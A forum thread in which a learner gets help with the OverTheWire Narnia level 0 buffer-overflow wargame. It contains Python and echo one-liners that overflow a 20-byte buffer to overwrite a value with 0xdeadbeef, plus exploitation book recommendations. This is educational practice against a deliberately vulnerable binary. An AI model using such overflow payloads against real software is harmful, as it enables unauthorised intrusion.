[insidious]

Hey all,

I'm doing a buffer overflow challenge on the Wargame "Narnia" on OvertheWire:
http://overthewire.org/wargames/narnia/

changing the value to 0xdeadbeef works if i use the python command in terminal:

Code:

python -c 'print "A"*20 + "\xef\xeb\xad\xde"' | /narnia/narnia0

but if i just put in

Code:

AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde

as an arguement for narnia0 it doesn't change the value?
am I doing something wrong?

[The Real Slim Shady]

Well, I'm just taking a wild stab in the dark here...

But in the example that you say works, You have: \xef\xeb\xad\xde

In the example that you say doesn't work, You have: \xef\xbe\xad\xde

So of course they're going to have different results. You've provided different inputs.

But what I find odd - is that the one you say doesn't work, is the correct way to express 0xdeadbeef where as the one you say does work should be outputting 0xdeadebef

So you really should pay greater attention to detail - as as far as I am concerned, the one you say that doesn't work should work, and the one you say does work, should not work - as there is an obvious mistake.

[insidious]

Well, I'm just taking a wild stab in the dark here...

But in the example that you say works, You have: \xef\xeb\xad\xde

In the example that you say doesn't work, You have: \xef\xbe\xad\xde

So of course they're going to have different results. You've provided different inputs.

But what I find odd - is that the one you say doesn't work, is the correct way to express 0xdeadbeef where as the one you say does work should be outputting 0xdeadebef

So you really should pay greater attention to detail - as as far as I am concerned, the one you say that doesn't work should work, and the one you say does work, should not work - as there is an obvious mistake.

Ah yeah that was a typo. The problem is that it doesn't change the mem, into deadbeef or any variation of it
I should post the entire output.

But im high af right now so i'll update in the morning,. But yeah that was just a typo

Thanks for your two pence thou!

[spjallþráð]

This is actually pretty simple.

When you do it by printing the values using the Python interpreter, note that some of it is binary - unprintable characters. In this instance, what is being printed out and passed to the program is binary-data. This is handled as an invalid memory address pointing to 0xdeadbeef when it overwrites the register.

Code:

$ python -c 'print "A"*20 + "\xef\xeb\xad\xde"' AAAAAAAAAAAAAAAAAAAA���

Now, when you just paste in the characters, you are passing it the invalid memory address not as binary, but as a set of ASCII characters, and it doesn't see it as an address pointing to 0xdeadbeef, it sees it as whatever the fuck else.

This is binary exploitation 101, yo. Learn how different data types are treated differently and you will succeed.

Bonus round: you can do this with echo as well.

Code:

$ echo -ne 'AAAAAAAAAAAAAAAAAAAA\xef\xeb\xad\xde' AAAAAAAAAAAAAAAAAAAA���

Enjoy learning.

[The Real Slim Shady]

Ah I missed the part about entering it as an argument... I thought he was comparing:

Code:

python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | /narnia/narnia0

to:

Code:

python -c 'print "AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde"' | /narnia/narnia0

which will work exactly the same if you don't make a typo lol. - not:

Code:

./narnia/narnia0 AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde

[spjallþráð]

Precisely. If it was an argument (one of the later challenges may involve an argv type input, this one, I believe is gets() from stdin), just for learning/fun sake, you would do it like so:

Code:

$ ./narnia/narnia0 `python -c 'print "A"*20 + "\xef\xeb\xad\xde"'`

The use of backticks for command-substitution here allows us to do this.

[insidious]

This is actually pretty simple.

When you do it by printing the values using the Python interpreter, note that some of it is binary - unprintable characters. In this instance, what is being printed out and passed to the program is binary-data. This is handled as an invalid memory address pointing to 0xdeadbeef when it overwrites the register.

Code:

$ python -c 'print "A"*20 + "\xef\xeb\xad\xde"' AAAAAAAAAAAAAAAAAAAA���

Now, when you just paste in the characters, you are passing it the invalid memory address not as binary, but as a set of ASCII characters, and it doesn't see it as an address pointing to 0xdeadbeef, it sees it as whatever the fuck else.

This is binary exploitation 101, yo. Learn how different data types are treated differently and you will succeed.

Bonus round: you can do this with echo as well.

Code:

$ echo -ne 'AAAAAAAAAAAAAAAAAAAA\xef\xeb\xad\xde' AAAAAAAAAAAAAAAAAAAA���

Enjoy learning.

OH! OK, that makes sense. Yeah i'm just learning and had been doing WarGames while going through a Hacking book I got. I'l be sure too look into different data stypes

thanks!

(Could you by any chance recommend a good book/resource on learning how data types are treated?)

[spjallþráð]

If you have not read them or started reading them, the following books are excellent for those getting into binary exploitation. Somewhat dated, but its best to start at the beginning, as all current mitigation/bypasses are just things built on the same shit.

Hacking - The Art of Exploitation (First Edition) [WARNING: PDF File]

Hacking - The Art of Exploitation (Second Edition) [WARNING: PDF File]

The Shellcoders Handbook (First Edition) [WARNING: CHM File]

The Shellcoders Handbook (Second Edition) [WARNING: PDF File]

[insidious]

If you have not read them or started reading them, the following books are excellent for those getting into binary exploitation. Somewhat dated, but its best to start at the beginning, as all current mitigation/bypasses are just things built on the same shit.

Hacking - The Art of Exploitation (First Edition) [WARNING: PDF File]

Hacking - The Art of Exploitation (Second Edition) [WARNING: PDF File]

The Shellcoders Handbook (First Edition) [WARNING: CHM File]

The Shellcoders Handbook (Second Edition) [WARNING: PDF File]

Oh Cool! I already have the first book in physical form, and I will make sure to look through the second book too.

Thanks Again!